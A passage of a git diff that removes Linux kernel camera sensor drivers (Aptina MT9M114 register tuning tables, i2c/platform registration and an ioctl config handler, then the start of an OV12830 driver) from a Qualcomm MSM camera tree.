{0xDFBE, 0x0141,}, - {0xDFC0, 0x0580,}, - {0xDFC2, 0x78E0,}, - {0xDFC4, 0xC0F1,}, - {0xDFC6, 0xC5E1,}, - {0xDFC8, 0xFF34,}, - {0xDFCA, 0xDD00,}, - {0xDFCC, 0x70CF,}, - {0xDFCE, 0xFFFF,}, - {0xDFD0, 0xE090,}, - {0xDFD2, 0xA8A8,}, - {0xDFD4, 0xD800,}, - {0xDFD6, 0xB893,}, - {0xDFD8, 0x0C8A,}, - {0xDFDA, 0x0460,}, - {0xDFDC, 0xD901,}, - {0xDFDE, 0x71CF,}, - {0xDFE0, 0xFFFF,}, - {0xDFE2, 0xDC10,}, - {0xDFE4, 0xD813,}, - {0xDFE6, 0x0B96,}, - {0xDFE8, 0x0460,}, - {0xDFEA, 0x72A9,}, - {0xDFEC, 0x0119,}, - {0xDFEE, 0x0580,}, - {0xDFF0, 0xC0F1,}, - {0xDFF2, 0x71CF,}, - {0xDFF4, 0x0000,}, - {0xDFF6, 0x5BAE,}, - {0xDFF8, 0x7940,}, - {0xDFFA, 0xFF9D,}, - {0xDFFC, 0xF135,}, - {0xDFFE, 0x78E0,}, - {0xE000, 0xC0F1,}, - {0xE002, 0x70CF,}, - {0xE004, 0x0000,}, - {0xE006, 0x5CBA,}, - {0xE008, 0x7840,}, - {0xE00A, 0x70CF,}, - {0xE00C, 0xFFFF,}, - {0xE00E, 0xE058,}, - {0xE010, 0x8800,}, - {0xE012, 0x0815,}, - {0xE014, 0x001E,}, - {0xE016, 0x70CF,}, - {0xE018, 0xFFFF,}, - {0xE01A, 0xC84C,}, - {0xE01C, 0x881A,}, - {0xE01E, 0xE080,}, - {0xE020, 0x0EE0,}, - {0xE022, 0xFFC1,}, - {0xE024, 0xF121,}, - {0xE026, 0x78E0,}, - {0xE028, 0xC0F1,}, - {0xE02A, 0xD900,}, - {0xE02C, 0xF009,}, - {0xE02E, 0x70CF,}, - {0xE030, 0xFFFF,}, - {0xE032, 0xE0AC,}, - {0xE034, 0x7835,}, - {0xE036, 0x8041,}, - {0xE038, 0x8000,}, - {0xE03A, 0xE102,}, - {0xE03C, 0xA040,}, - {0xE03E, 0x09F3,}, - {0xE040, 0x8114,}, - {0xE042, 0x71CF,}, - {0xE044, 0xFFFF,}, - {0xE046, 0xE058,}, - {0xE048, 0x70CF,}, - {0xE04A, 0xFFFF,}, - {0xE04C, 0xC594,}, - {0xE04E, 0xB030,}, - {0xE050, 0xFFDD,}, - {0xE052, 0xD800,}, - {0xE054, 0xF109,}, - {0xE056, 0x0000,}, - {0xE058, 0x0300,}, - {0xE05A, 0x0204,}, - {0xE05C, 0x0700,}, - {0xE05E, 0x0000,}, - {0xE060, 0x0000,}, - {0xE062, 0x0000,}, - {0xE064, 0x0000,}, - {0xE066, 0x0000,}, - {0xE068, 0x0000,}, - {0xE06A, 0x0000,}, - {0xE06C, 0x0000,}, - {0xE06E, 0x0000,}, - {0xE070, 0x0000,}, - {0xE072, 0x0000,}, - {0xE074, 0x0000,}, - {0xE076, 0x0000,}, - {0xE078, 0x0000,}, - {0xE07A, 0x0000,}, - {0xE07C, 0x0000,}, - {0xE07E, 0x0000,}, - {0xE080, 0x0000,}, - {0xE082, 0x0000,}, - {0xE084, 0x0000,}, - {0xE086, 0x0000,}, - {0xE088, 0x0000,}, - {0xE08A, 0x0000,}, - {0xE08C, 0x0000,}, - {0xE08E, 0x0000,}, - {0xE090, 0x0000,}, - {0xE092, 0x0000,}, - {0xE094, 0x0000,}, - {0xE096, 0x0000,}, - {0xE098, 0x0000,}, - {0xE09A, 0x0000,}, - {0xE09C, 0x0000,}, - {0xE09E, 0x0000,}, - {0xE0A0, 0x0000,}, - {0xE0A2, 0x0000,}, - {0xE0A4, 0x0000,}, - {0xE0A6, 0x0000,}, - {0xE0A8, 0x0000,}, - {0xE0AA, 0x0000,}, - {0xE0AC, 0xFFFF,}, - {0xE0AE, 0xCB68,}, - {0xE0B0, 0xFFFF,}, - {0xE0B2, 0xDFF0,}, - {0xE0B4, 0xFFFF,}, - {0xE0B6, 0xCB6C,}, - {0xE0B8, 0xFFFF,}, - {0xE0BA, 0xE000,}, - {0x098E, 0x0000,}, - - /*MIPI setting for SOC1040*/ - {0x3C5A, 0x0009,}, - {0x3C44, 0x0080,},/*MIPI_CUSTOM_SHORT_PKT*/ - - /*[Tuning_settings]*/ - - /*[CCM]*/ - {0xC892, 0x0267,},/*CAM_AWB_CCM_L_0*/ - {0xC894, 0xFF1A,},/*CAM_AWB_CCM_L_1*/ - {0xC896, 0xFFB3,},/*CAM_AWB_CCM_L_2*/ - {0xC898, 0xFF80,},/*CAM_AWB_CCM_L_3*/ - {0xC89A, 0x0166,},/*CAM_AWB_CCM_L_4*/ - {0xC89C, 0x0003,},/*CAM_AWB_CCM_L_5*/ - {0xC89E, 0xFF9A,},/*CAM_AWB_CCM_L_6*/ - {0xC8A0, 0xFEB4,},/*CAM_AWB_CCM_L_7*/ - {0xC8A2, 0x024D,},/*CAM_AWB_CCM_L_8*/ - {0xC8A4, 0x01BF,},/*CAM_AWB_CCM_M_0*/ - {0xC8A6, 0xFF01,},/*CAM_AWB_CCM_M_1*/ - {0xC8A8, 0xFFF3,},/*CAM_AWB_CCM_M_2*/ - {0xC8AA, 0xFF75,},/*CAM_AWB_CCM_M_3*/ - {0xC8AC, 0x0198,},/*CAM_AWB_CCM_M_4*/ - {0xC8AE, 0xFFFD,},/*CAM_AWB_CCM_M_5*/ - {0xC8B0, 0xFF9A,},/*CAM_AWB_CCM_M_6*/ - {0xC8B2, 0xFEE7,},/*CAM_AWB_CCM_M_7*/ - {0xC8B4, 0x02A8,},/*CAM_AWB_CCM_M_8*/ - {0xC8B6, 0x01D9,},/*CAM_AWB_CCM_R_0*/ - {0xC8B8, 0xFF26,},/*CAM_AWB_CCM_R_1*/ - {0xC8BA, 0xFFF3,},/*CAM_AWB_CCM_R_2*/ - {0xC8BC, 0xFFB3,},/*CAM_AWB_CCM_R_3*/ - {0xC8BE, 0x0132,},/*CAM_AWB_CCM_R_4*/ - {0xC8C0, 0xFFE8,},/*CAM_AWB_CCM_R_5*/ - {0xC8C2, 0xFFDA,},/*CAM_AWB_CCM_R_6*/ - {0xC8C4, 0xFECD,},/*CAM_AWB_CCM_R_7*/ - {0xC8C6, 0x02C2,},/*CAM_AWB_CCM_R_8*/ - {0xC8C8, 0x0075,},/*CAM_AWB_CCM_L_RG_GAIN*/ - {0xC8CA, 0x011C,},/*CAM_AWB_CCM_L_BG_GAIN*/ - {0xC8CC, 0x009A,},/*CAM_AWB_CCM_M_RG_GAIN*/ - {0xC8CE, 0x0105,},/*CAM_AWB_CCM_M_BG_GAIN*/ - {0xC8D0, 0x00A4,},/*CAM_AWB_CCM_R_RG_GAIN*/ - {0xC8D2, 0x00AC,},/*CAM_AWB_CCM_R_BG_GAIN*/ - {0xC8D4, 0x0A8C,},/*CAM_AWB_CCM_L_CTEMP*/ - {0xC8D6, 0x0F0A,},/*CAM_AWB_CCM_M_CTEMP*/ - {0xC8D8, 0x1964,},/*CAM_AWB_CCM_R_CTEMP*/ - - /*[AWB]*/ - {0xC914, 0x0000,},/*CAM_STAT_AWB_CLIP_WINDOW_XSTART*/ - {0xC916, 0x0000,},/*CAM_STAT_AWB_CLIP_WINDOW_YSTART*/ - {0xC918, 0x04FF,},/*CAM_STAT_AWB_CLIP_WINDOW_XEND*/ - {0xC91A, 0x02CF,},/*CAM_STAT_AWB_CLIP_WINDOW_YEND*/ - {0xC904, 0x0033,},/*CAM_AWB_AWB_XSHIFT_PRE_ADJ*/ - {0xC906, 0x0040,},/*CAM_AWB_AWB_YSHIFT_PRE_ADJ*/ - {0xC8F2, 0x03, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_AWB_XSCALE*/ - {0xC8F3, 0x02, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_AWB_YSCALE*/ - {0xC906, 0x003C,},/*CAM_AWB_AWB_YSHIFT_PRE_ADJ*/ - {0xC8F4, 0x0000,},/*CAM_AWB_AWB_WEIGHTS_0*/ - {0xC8F6, 0x0000,},/*CAM_AWB_AWB_WEIGHTS_1*/ - {0xC8F8, 0x0000,},/*CAM_AWB_AWB_WEIGHTS_2*/ - {0xC8FA, 0xE724,},/*CAM_AWB_AWB_WEIGHTS_3*/ - {0xC8FC, 0x1583,},/*CAM_AWB_AWB_WEIGHTS_4*/ - {0xC8FE, 0x2045,},/*CAM_AWB_AWB_WEIGHTS_5*/ - {0xC900, 0x03FF,},/*CAM_AWB_AWB_WEIGHTS_6*/ - {0xC902, 0x007C,},/*CAM_AWB_AWB_WEIGHTS_7*/ - {0xC90C, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_R_L*/ - {0xC90D, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_G_L*/ - {0xC90E, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_B_L*/ - {0xC90F, 0x88, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_R_R*/ - {0xC910, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_G_R*/ - {0xC911, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AWB_K_B_R*/ - - /*[Step7-CPIPE_Preference]*/ - {0xC926, 0x0020,},/*CAM_LL_START_BRIGHTNESS*/ - {0xC928, 0x009A,},/*CAM_LL_STOP_BRIGHTNESS*/ - {0xC946, 0x0070,},/*CAM_LL_START_GAIN_METRIC*/ - {0xC948, 0x00F3,},/*CAM_LL_STOP_GAIN_METRIC*/ - {0xC952, 0x0020,},/*CAM_LL_START_TARGET_LUMA_BM*/ - {0xC954, 0x009A,},/*CAM_LL_STOP_TARGET_LUMA_BM*/ - {0xC92A, 0x80, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_SATURATION*/ - {0xC92B, 0x4B, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_END_SATURATION*/ - {0xC92C, 0x00, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_DESATURATION*/ - {0xC92D, 0xFF, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_END_DESATURATION*/ - {0xC92E, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_DEMOSAIC*/ - {0xC92F, 0x02, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_AP_GAIN*/ - {0xC930, 0x06, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_AP_THRESH*/ - {0xC931, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_DEMOSAIC*/ - {0xC932, 0x01, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_AP_GAIN*/ - {0xC933, 0x0C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_AP_THRESH*/ - {0xC934, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_RED*/ - {0xC935, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_GREEN*/ - {0xC936, 0x3C, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_BLUE*/ - {0xC937, 0x0F, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_NR_THRESH*/ - {0xC938, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_RED*/ - {0xC939, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_GREEN*/ - {0xC93A, 0x64, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_BLUE*/ - {0xC93B, 0x32, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_NR_THRESH*/ - {0xC93C, 0x0020,},/*CAM_LL_START_CONTRAST_BM*/ - {0xC93E, 0x009A,},/*CAM_LL_STOP_CONTRAST_BM*/ - {0xC940, 0x00DC,},/*CAM_LL_GAMMA*/ - /*CAM_LL_START_CONTRAST_GRADIENT*/ - {0xC942, 0x38, MSM_CAMERA_I2C_BYTE_DATA}, - /*CAM_LL_STOP_CONTRAST_GRADIENT*/ - {0xC943, 0x30, MSM_CAMERA_I2C_BYTE_DATA}, - {0xC944, 0x50, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_START_CONTRAST_LUMA*/ - {0xC945, 0x19, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_STOP_CONTRAST_LUMA*/ - {0xC94A, 0x0230,},/*CAM_LL_START_FADE_TO_BLACK_LUMA*/ - {0xC94C, 0x0010,},/*CAM_LL_STOP_FADE_TO_BLACK_LUMA*/ - {0xC94E, 0x01CD,},/*CAM_LL_CLUSTER_DC_TH_BM*/ - {0xC950, 0x05, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_CLUSTER_DC_GATE*/ - {0xC951, 0x40, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_LL_SUMMING_SENSITIVITY*/ - /*CAM_AET_TARGET_AVERAGE_LUMA_DARK*/ - {0xC87B, 0x1B, MSM_CAMERA_I2C_BYTE_DATA}, - {0xC878, 0x0E, MSM_CAMERA_I2C_BYTE_DATA},/*CAM_AET_AEMODE*/ - {0xC890, 0x0080,},/*CAM_AET_TARGET_GAIN*/ - {0xC886, 0x0100,},/*CAM_AET_AE_MAX_VIRT_AGAIN*/ - {0xC87C, 0x005A,},/*CAM_AET_BLACK_CLIPPING_TARGET*/ - {0xB42A, 0x05, MSM_CAMERA_I2C_BYTE_DATA},/*CCM_DELTA_GAIN*/ - /*AE_TRACK_AE_TRACKING_DAMPENING*/ - {0xA80A, 0x20, MSM_CAMERA_I2C_BYTE_DATA}, - {0x3C44, 0x0080,}, - {0x3C40, 0x0004, MSM_CAMERA_I2C_UNSET_WORD_MASK}, - {0xA802, 0x08, MSM_CAMERA_I2C_SET_BYTE_MASK}, - {0xC908, 0x01, MSM_CAMERA_I2C_BYTE_DATA}, - {0xC879, 0x01, MSM_CAMERA_I2C_BYTE_DATA}, - {0xC909, 0x01, MSM_CAMERA_I2C_UNSET_BYTE_MASK}, - {0xA80A, 0x18, MSM_CAMERA_I2C_BYTE_DATA}, - {0xA80B, 0x18, MSM_CAMERA_I2C_BYTE_DATA}, - {0xAC16, 0x18, MSM_CAMERA_I2C_BYTE_DATA}, - {0xC878, 0x08, MSM_CAMERA_I2C_SET_BYTE_MASK}, - {0xBC02, 0x08, MSM_CAMERA_I2C_UNSET_BYTE_MASK}, -}; - -static struct v4l2_subdev_info mt9m114_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_YUYV8_2X8, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf mt9m114_config_change_settings[] = { - {0xdc00, 0x28, MSM_CAMERA_I2C_BYTE_DATA, MSM_CAMERA_I2C_CMD_WRITE}, - {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, - MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, - {MT9M114_COMMAND_REGISTER, (MT9M114_COMMAND_REGISTER_OK | - MT9M114_COMMAND_REGISTER_SET_STATE), MSM_CAMERA_I2C_WORD_DATA, - MSM_CAMERA_I2C_CMD_WRITE}, - {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, - MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, - {0xDC01, 0x31, MSM_CAMERA_I2C_BYTE_DATA}, -}; - -static const struct i2c_device_id mt9m114_i2c_id[] = { - {MT9M114_SENSOR_NAME, (kernel_ulong_t)&mt9m114_s_ctrl}, - { } -}; - -static int32_t msm_mt9m114_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &mt9m114_s_ctrl); -} - -static struct i2c_driver mt9m114_i2c_driver = { - .id_table = mt9m114_i2c_id, - .probe = msm_mt9m114_i2c_probe, - .driver = { - .name = MT9M114_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client mt9m114_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id mt9m114_dt_match[] = { - {.compatible = "qcom,mt9m114", .data = &mt9m114_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, mt9m114_dt_match); - -static struct platform_driver mt9m114_platform_driver = { - .driver = { - .name = "qcom,mt9m114", - .owner = THIS_MODULE, - .of_match_table = mt9m114_dt_match, - }, -}; - -static int32_t mt9m114_platform_probe(struct platform_device *pdev) -{ - int32_t rc; - const struct of_device_id *match; - match = of_match_device(mt9m114_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init mt9m114_init_module(void) -{ - int32_t rc; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&mt9m114_platform_driver, - mt9m114_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&mt9m114_i2c_driver); -} - -static void __exit mt9m114_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (mt9m114_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&mt9m114_s_ctrl); - platform_driver_unregister(&mt9m114_platform_driver); - } else - i2c_del_driver(&mt9m114_i2c_driver); - return; -} - -int32_t mt9m114_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - int32_t rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, - s_ctrl->sensordata->sensor_name, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_SET_INIT_SETTING: - /* 1. Write Recommend settings */ - /* 2. Write change settings */ - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, mt9m114_recommend_settings, - ARRAY_SIZE(mt9m114_recommend_settings), - MSM_CAMERA_I2C_WORD_DATA); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, - mt9m114_config_change_settings, - ARRAY_SIZE(mt9m114_config_change_settings), - MSM_CAMERA_I2C_WORD_DATA); - break; - case CFG_SET_RESOLUTION: - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, mt9m114_720p_settings, - ARRAY_SIZE(mt9m114_720p_settings), - MSM_CAMERA_I2C_WORD_DATA); - break; - case CFG_SET_STOP_STREAM: - break; - case CFG_SET_START_STREAM: - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_conf_tbl( - s_ctrl->sensor_i2c_client, - mt9m114_config_change_settings, - ARRAY_SIZE(mt9m114_config_change_settings), - MSM_CAMERA_I2C_WORD_DATA); - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_camera_power_ctrl_t *p_ctrl; - uint16_t size; - int slave_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) { - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - } - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - - /* Update power up / down sequence */ - p_ctrl = &s_ctrl->sensordata->power_info; - size = sensor_slave_info.power_setting_array.size; - if (p_ctrl->power_setting_size < size) { - struct msm_sensor_power_setting *tmp; - tmp = kmalloc(sizeof(struct msm_sensor_power_setting) - * size, GFP_KERNEL); - if (!tmp) { - pr_err("%s: failed to alloc mem\n", __func__); - rc = -ENOMEM; - break; - } - kfree(p_ctrl->power_setting); - p_ctrl->power_setting = tmp; - } - p_ctrl->power_setting_size = size; - - rc = copy_from_user(p_ctrl->power_setting, (void *) - sensor_slave_info.power_setting_array.power_setting, - size * sizeof(struct msm_sensor_power_setting)); - if (rc) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.slave_addr); - CDBG("%s sensor addr type %d\n", __func__, - sensor_slave_info.addr_type); - CDBG("%s sensor reg %x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr); - CDBG("%s sensor id %x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id); - for (slave_index = 0; slave_index < - p_ctrl->power_setting_size; slave_index++) { - CDBG("%s i %d power setting %d %d %ld %d\n", __func__, - slave_index, - p_ctrl->power_setting[slave_index].seq_type, - p_ctrl->power_setting[slave_index].seq_val, - p_ctrl->power_setting[slave_index].config_val, - p_ctrl->power_setting[slave_index].delay); - } - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_seq_reg_array)), - GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_seq_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> - i2c_write_seq_table(s_ctrl->sensor_i2c_client, - &conf_array); - kfree(reg_setting); - break; - } - - case CFG_POWER_UP: - if (s_ctrl->func_tbl->sensor_power_up) - rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_POWER_DOWN: - if (s_ctrl->func_tbl->sensor_power_down) - rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); - else - rc = -EFAULT; - break; - - case CFG_SET_STOP_STREAM_SETTING: { - struct msm_camera_i2c_reg_setting *stop_setting = - &s_ctrl->stop_setting; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = stop_setting->reg_setting; - stop_setting->reg_setting = kzalloc(stop_setting->size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!stop_setting->reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(stop_setting->reg_setting, - (void *)reg_setting, stop_setting->size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(stop_setting->reg_setting); - stop_setting->reg_setting = NULL; - stop_setting->size = 0; - rc = -EFAULT; - break; - } - break; - } - case CFG_SET_SATURATION: { - int32_t sat_lev; - if (copy_from_user(&sat_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Saturation Value is %d", __func__, sat_lev); - break; - } - case CFG_SET_CONTRAST: { - int32_t con_lev; - if (copy_from_user(&con_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Contrast Value is %d", __func__, con_lev); - break; - } - case CFG_SET_SHARPNESS: { - int32_t shp_lev; - if (copy_from_user(&shp_lev, (void *)cdata->cfg.setting, - sizeof(int32_t))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - pr_debug("%s: Sharpness Value is %d", __func__, shp_lev); - break; - } - case CFG_SET_AUTOFOCUS: { - /* TO-DO: set the Auto Focus */ - pr_debug("%s: Setting Auto Focus", __func__); - break; - } - case CFG_CANCEL_AUTOFOCUS: { - /* TO-DO: Cancel the Auto Focus */ - pr_debug("%s: Cancelling Auto Focus", __func__); - break; - } - default: - rc = -EFAULT; - break; - } - - mutex_unlock(s_ctrl->msm_sensor_mutex); - - return rc; -} - -static struct msm_sensor_fn_t mt9m114_sensor_func_tbl = { - .sensor_config = mt9m114_sensor_config, - .sensor_power_up = msm_sensor_power_up, - .sensor_power_down = msm_sensor_power_down, - .sensor_match_id = msm_sensor_match_id, -}; - -static struct msm_sensor_ctrl_t mt9m114_s_ctrl = { - .sensor_i2c_client = &mt9m114_sensor_i2c_client, - .power_setting_array.power_setting = mt9m114_power_setting, - .power_setting_array.size = ARRAY_SIZE(mt9m114_power_setting), - .msm_sensor_mutex = &mt9m114_mut, - .sensor_v4l2_subdev_info = mt9m114_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(mt9m114_subdev_info), - .func_tbl = &mt9m114_sensor_func_tbl, -}; - -module_init(mt9m114_init_module); -module_exit(mt9m114_exit_module); -MODULE_DESCRIPTION("Aptina 1.26MP YUV sensor driver"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c deleted file mode 100644 index fb6d548f1f225..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov12830.c +++ /dev/null @@ -1,197 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define OV12830_SENSOR_NAME "ov12830" -DEFINE_MSM_MUTEX(ov12830_mut); - -static struct msm_sensor_ctrl_t ov12830_s_ctrl; - -static struct msm_sensor_power_setting ov12830_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = 